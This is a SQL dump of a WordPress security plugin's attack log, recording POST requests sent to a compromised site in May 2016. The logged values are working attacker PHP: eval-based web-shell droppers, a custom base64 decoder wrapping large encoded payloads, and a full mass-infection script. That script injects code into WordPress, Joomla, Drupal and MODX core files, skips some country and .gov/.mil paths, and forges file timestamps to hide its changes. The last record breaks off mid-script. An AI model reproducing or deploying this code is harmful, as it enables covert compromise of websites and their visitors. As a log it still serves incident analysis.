INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (565,'2016-05-20 07:22:09','POST.q7f69dd','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/assets/less/blog.php','','212.232.27.174',''),
 (566,'2016-05-20 07:22:09','POST.data','eval(b64d(\\\"[encoded data, 32148 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/assets/less/blog.php','','212.232.27.174',''),
 (567,'2016-05-20 07:22:11','POST.q7f69dd','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/assets/less/blog.php','','89.218.12.147',''),
 (568,'2016-05-20 07:22:11','POST.data','eval(b64d(\\\"[encoded data, 32416 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/assets/less/blog.php','','89.218.12.147',''),
 (569,'2016-05-20 07:22:19','POST.qcdd94a','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/include/autoload/option.php','','89.218.12.147','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (570,'2016-05-20 07:22:19','POST.data','eval(b64d(\\\"[encoded data, 32392 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/include/autoload/option.php','','89.218.12.147',''),
 (571,'2016-05-20 17:53:14','POST.p2','[encoded data, 55676 characters]','xss,csrf,id,rfe,sqli,lfi',78,236,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','51.254.240.1',''),
 (572,'2016-05-20 17:53:14','POST.p1','echo \\\"marker:073c409c790a5c86d651ee661a575c13\\\\n\\\"; \n\n$depth = \\\'0\\\';\n\n$depth = $depth+2;\n\n$base_dir = dirname(__FILE__);\nfor ($i = 0; $i < $depth; $i++) {\n    $d = dirname($base_dir);\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\n    if(count($tmp)>0)\n        $base_dir = $d;\n    else {\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\n    }\n}\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\n\n\necho(\\\"start folder is: \\\".$base_dir.\\\"\\\\n\\\");\nif (empty($base_dir)) $base_dir = \\\"/\\\";\n$folders = get_listing($base_dir.\\\"/\\\");\n//array_unshift($folders, $base_dir_site);\n\n$skip_array = array(\\\"\\\\.ru\\\", \\\"\\\\.su\\\", \\\"\\\\.ua\\\", \\\"\\\\.kz\\\", \\\"\\\\.by\\\", \\\"\\\\.xn--p1ai\\\", \\\"\\\\.gov\\\", \\\"\\\\.mil\\\");\n$skip_regex = implode(\\\"|\\\", $skip_array);\n//$skip_regex = implode(\\\"[/]|\\\", $skip_array).\\\"[/]|\\\";\n\nforeach ($folders as $folder) {\n//    echo(\\\"regex : \\\".\\\"#(\\\".$skip_regex.\\\")#is\\\".\\\"\\\\n\\\");\n    if(preg_match(\\\"#(\\\".$skip_regex.\\\")#is\\\", $folder, $m)) {\n        echo(\\\"bad domain zone in path: \\\".$folder. \\\" match: \\\".$m[1]);\n        continue;\n    }\n\n    foreach ($templates_array as $ta) {\n        $file = $folder . $ta[\\\"file\\\"];\n        $search = $ta[\\\"search\\\"];\n\n        if (!file_exists($file)) {\n//            echo $file . \\\" is not faund\\\\n\\\";\n            continue;\n        }\n\n        echo \\\"\\\\n\\\\n\\\" . str_repeat(\\\"*+\\\", 50) . \\\"\\\\n\\\";\n        echo $file . \\\" was found\\\\n\\\";\n\n        replace_code($file, $search, $base_dir, false, $ta);\n    }\n}\n\n\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\n    if(basename($file)==\\\"nav-menu.php\\\") {\n        my_correct(dirname(dirname($file)));\n    }\n\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\n\n    $c = file_get_contents($file);\n\n    $size[\\\"start\\\"] = number_format(strlen($c));\n\n    $start_mark = \\\"//istart\\\";\n    $end_mark = \\\"//iend\\\";\n\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\n//        echo \\\"markers found\\\\n\\\";\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\n    }\n//    if(stristr($c, $search)) {\n\n\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\n    if ($search == \\\"endfile\\\") {\n//        echo(\\\"inject in the end of file\\\\n\\\");\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\n    }\n    elseif ($search == \\\"startfile\\\") {\n\n        $c = preg_replace(\\\"#\\\\<\\\\?php#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\n//        echo($data);\n    }\n    else {\n//        echo(\\\"injecting by the marker\\\\n\\\");\n        $c = preg_replace(\\\"#\\\" . $regex_search.\\\"#is\\\", $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c);\n    }\n    $size[\\\"result\\\"] = number_format(strlen($c));\n\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\n\n        $filemtime = filemtime($file);\n        if (file_put_contents($file, $c)) {\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\n\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\n\n            echo(\\\"file $file saved\\\\n\\\");\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\n            touch($file, $filemtime, $filemtime);\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\n\n            if($exit) exit;\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\n    }\n}\n\nfunction get_listing($dir, $step = 0) {\n    if (empty($steps_limit))\n        $steps_limit = 3;\n    if ($step == 0) {\n        echo \\\"FOLDERS SCAN STEPS LIMIT: \\\" . $steps_limit . \\\"\\\\n\\\";\n    }\n\n    if ($step >= $steps_limit) {\n        return false;\n    }\n\n    $results = array();\n    $listing = glob($dir . \\\"*\\\");\n\n    if (!empty($listing) AND count($listing) > 0)\n        foreach ($listing as $v) {\n\n            if (is_dir($v)) {\n                $tmp = get_listing($v . \\\"/\\\", $step + 1);\n                if (!empty($tmp) and count($tmp) > 0)\n                    $results = array_merge($results, $tmp);\n            }\n            else continue;\n\n            if (is_dir($v))\n                $v = $v . \\\"/\\\";\n            $results[] = $v;\n        }\n    return $results;\n}\n\n\nfunction my_time($dir) {\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\n        $times[] = filemtime($f);\n    }\n    $max = 1;\n    for ($i = 0; $i < count($times) - 1; $i++) {\n        $k = 1;\n        for ($j = $i + 1; $j < count($times); $j++) {\n            if ($times[$i] == $times[$j]) {\n                $k++;\n                if ($k > $max) {\n                    $max = $k;\n                    $time = $times[$i];\n                }\n            }\n        }\n    }\n    return $time;\n}\n\nfunction my_correct($dir) {\n    $time = 0;\n    $path = $dir . \\\'/index.php\\\';\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\n    if (file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        $time = my_time($dir);\n        touch($path, $time);\n    }\n\n    $path = $dir . \\\'/.htaccess\\\';\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\n    if (file_exists($path) AND file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        if (!$time) {\n            $time = my_time($dir);\n        }\n        touch($path, $time);\n    }\n}','xss,csrf,id,rfe,sqli,lfi',158,236,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','51.254.240.1','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (573,'2016-05-20 17:53:52','POST.p2','[encoded data, 55676 characters]','xss,csrf,id,rfe,sqli,lfi',78,236,'http://beta.chrisochoidis.gr/stats.php','http://beta.chrisochoidis.gr/stats.php','212.22.85.112',''),
 (574,'2016-05-20 17:53:52','POST.p1','echo \\\"marker:e8046a0db8679f3fabc0a23876db3b07\\\\n\\\"; \n\n$depth = \\\'0\\\';\n\n$depth = $depth+2;\n\n$base_dir = dirname(__FILE__);\nfor ($i = 0; $i < $depth; $i++) {\n    $d = dirname($base_dir);\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\n    if(count($tmp)>0)\n        $base_dir = $d;\n    else {\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\n    }\n}\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\n\n\necho(\\\"start folder is: \\\".$base_dir.\\\"\\\\n\\\");\nif (empty($base_dir)) $base_dir = \\\"/\\\";\n$folders = get_listing($base_dir.\\\"/\\\");\n//array_unshift($folders, $base_dir_site);\n\n$skip_array = array(\\\"\\\\.ru\\\", \\\"\\\\.su\\\", \\\"\\\\.ua\\\", \\\"\\\\.kz\\\", \\\"\\\\.by\\\", \\\"\\\\.xn--p1ai\\\", \\\"\\\\.gov\\\", \\\"\\\\.mil\\\");\n$skip_regex = implode(\\\"|\\\", $skip_array);\n//$skip_regex = implode(\\\"[/]|\\\", $skip_array).\\\"[/]|\\\";\n\nforeach ($folders as $folder) {\n//    echo(\\\"regex : \\\".\\\"#(\\\".$skip_regex.\\\")#is\\\".\\\"\\\\n\\\");\n    if(preg_match(\\\"#(\\\".$skip_regex.\\\")#is\\\", $folder, $m)) {\n        echo(\\\"bad domain zone in path: \\\".$folder. \\\" match: \\\".$m[1]);\n        continue;\n    }\n\n    foreach ($templates_array as $ta) {\n        $file = $folder . $ta[\\\"file\\\"];\n        $search = $ta[\\\"search\\\"];\n\n        if (!file_exists($file)) {\n//            echo $file . \\\" is not faund\\\\n\\\";\n            continue;\n        }\n\n        echo \\\"\\\\n\\\\n\\\" . str_repeat(\\\"*+\\\", 50) . \\\"\\\\n\\\";\n        echo $file . \\\" was found\\\\n\\\";\n\n        replace_code($file, $search, $base_dir, false, $ta);\n    }\n}\n\n\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\n    if(basename($file)==\\\"nav-menu.php\\\") {\n        my_correct(dirname(dirname($file)));\n    }\n\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\n\n    $c = file_get_contents($file);\n\n    $size[\\\"start\\\"] = number_format(strlen($c));\n\n    $start_mark = \\\"//istart\\\";\n    $end_mark = \\\"//iend\\\";\n\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\n//        echo \\\"markers found\\\\n\\\";\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\n    }\n//    if(stristr($c, $search)) {\n\n\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\n    if ($search == \\\"endfile\\\") {\n//        echo(\\\"inject in the end of file\\\\n\\\");\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\n    }\n    elseif ($search == \\\"startfile\\\") {\n\n        $c = preg_replace(\\\"#\\\\<\\\\?php#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\n//        echo($data);\n    }\n    else {\n//        echo(\\\"injecting by the marker\\\\n\\\");\n        $c = preg_replace(\\\"#\\\" . $regex_search.\\\"#is\\\", $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c);\n    }\n    $size[\\\"result\\\"] = number_format(strlen($c));\n\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\n\n        $filemtime = filemtime($file);\n        if (file_put_contents($file, $c)) {\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\n\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\n\n            echo(\\\"file $file saved\\\\n\\\");\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\n            touch($file, $filemtime, $filemtime);\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\n\n            if($exit) exit;\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\n    }\n}\n\nfunction get_listing($dir, $step = 0) {\n    if (empty($steps_limit))\n        $steps_limit = 3;\n    if ($step == 0) {\n        echo \\\"FOLDERS SCAN STEPS LIMIT: \\\" . $steps_limit . \\\"\\\\n\\\";\n    }\n\n    if ($step >= $steps_limit) {\n        return false;\n    }\n\n    $results = array();\n    $listing = glob($dir . \\\"*\\\");\n\n    if (!empty($listing) AND count($listing) > 0)\n        foreach ($listing as $v) {\n\n            if (is_dir($v)) {\n                $tmp = get_listing($v . \\\"/\\\", $step + 1);\n                if (!empty($tmp) and count($tmp) > 0)\n                    $results = array_merge($results, $tmp);\n            }\n            else continue;\n\n            if (is_dir($v))\n                $v = $v . \\\"/\\\";\n            $results[] = $v;\n        }\n    return $results;\n}\n\n\nfunction my_time($dir) {\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\n        $times[] = filemtime($f);\n    }\n    $max = 1;\n    for ($i = 0; $i < count($times) - 1; $i++) {\n        $k = 1;\n        for ($j = $i + 1; $j < count($times); $j++) {\n            if ($times[$i] == $times[$j]) {\n                $k++;\n                if ($k > $max) {\n                    $max = $k;\n                    $time = $times[$i];\n                }\n            }\n        }\n    }\n    return $time;\n}\n\nfunction my_correct($dir) {\n    $time = 0;\n    $path = $dir . \\\'/index.php\\\';\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\n    if (file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        $time = my_time($dir);\n        touch($path, $time);\n    }\n\n    $path = $dir . \\\'/.htaccess\\\';\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\n    if (file_exists($path) AND file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        if (!$time) {\n            $time = my_time($dir);\n        }\n        touch($path, $time);\n    }\n}','xss,csrf,id,rfe,sqli,lfi',158,236,'http://beta.chrisochoidis.gr/stats.php','http://beta.chrisochoidis.gr/stats.php','212.22.85.112',''),
 (575,'2016-05-20 17:56:55','POST.eanuvherejri','eval(base64_decode($_POST[xxx]))','xss,csrf,id,rfe,lfi',20,98,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','51.254.240.1','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (576,'2016-05-20 17:56:55','POST.xxx','[encoded data, 55676 characters]','xss,csrf,id,rfe,sqli,lfi',78,98,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','51.254.240.1',''),
 (577,'2016-05-21 02:18:18','POST.p2','[encoded data, 54944 characters]','xss,csrf,id,rfe,sqli,lfi',58,195,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','146.185.243.119',''),
 (578,'2016-05-21 02:18:18','POST.p1','echo \\\"marker:5782f6248b0160a7ec27327f816a8144\\\\n\\\"; \r\n\r\n$depth = 0;\r\n\r\n$base_dir = dirname(__FILE__);\r\nfor ($i = 0; $i < $depth; $i++) {\r\n    $d = dirname($base_dir);\r\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\r\n    if(count($tmp)>0)\r\n        $base_dir = $d;\r\n    else {\r\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\r\n    }\r\n}\r\n\r\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9248 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9248 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\r\n\r\nif (empty($base_dir)) $base_dir = \\\"/\\\";\r\n$folders = glob($base_dir . \\\"/*\\\", GLOB_ONLYDIR);\r\narray_unshift($folders, $base_dir);\r\n\r\n\r\nforeach ($folders as $folder) {\r\n    foreach ($templates_array as $ta) {\r\n        $file = $folder . $ta[\\\"file\\\"];\r\n        $search = $ta[\\\"search\\\"];\r\n\r\n        if (!file_exists($file)) {\r\n//            echo $file . \\\" is not faund\\\\n\\\";\r\n            continue;\r\n        }\r\n\r\n        replace_code($file, $search, $base_dir, true, $ta);\r\n\r\n\r\n    }\r\n}\r\n        //exit;\r\n$themes_folder = false;\r\nforeach ($folders as $folder) {\r\n    $file = $folder.\\\"/wp-content/themes/\\\";\r\n    if (file_exists($file)) {\r\n        $themes_folder = $file;\r\n        echo $file . \\\" themes folder is found\\\\n\\\";\r\n        break;\r\n    }\r\n}\r\nif(!$themes_folder) exit;\r\n\r\n$folders = glob($themes_folder . \\\"*\\\", GLOB_ONLYDIR);\r\nforeach ($folders as $folder) {\r\n    $file = $folder.\\\"/footer.php\\\";\r\n    if (!file_exists($file)) {\r\n        echo  \\\"theme: \\\".basename($folder).\\\" footer is not found\\\\n\\\";\r\n        continue;\r\n    }\r\n\r\n    replace_code($file, \\\'startfile\\\', $base_dir, false, $templates_array[0]);\r\n}\r\n\r\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\r\n    if(basename($file)==\\\"nav-menu.php\\\") {\r\n        my_correct(dirname(dirname($file)));\r\n    }\r\n\r\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\r\n\r\n    $c = file_get_contents($file);\r\n\r\n    $size[\\\"start\\\"] = number_format(strlen($c));\r\n\r\n    $start_mark = \\\"//istart\\\";\r\n    $end_mark = \\\"//iend\\\";\r\n\r\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\r\n//        echo \\\"markers found\\\\n\\\";\r\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\r\n    }\r\n//    if(stristr($c, $search)) {\r\n\r\n\r\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\r\n    if ($search == \\\"endfile\\\") {\r\n//        echo(\\\"inject in the end of file\\\\n\\\");\r\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\r\n    }\r\n    elseif ($search == \\\"startfile\\\") {\r\n\r\n        $c = preg_replace(\\\"#(\\\\<\\\\?\\\".\\\"php)#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\r\n//        echo($data);\r\n    }\r\n    else {\r\n//        echo(\\\"injecting by the marker\\\\n\\\");\r\n        $c = 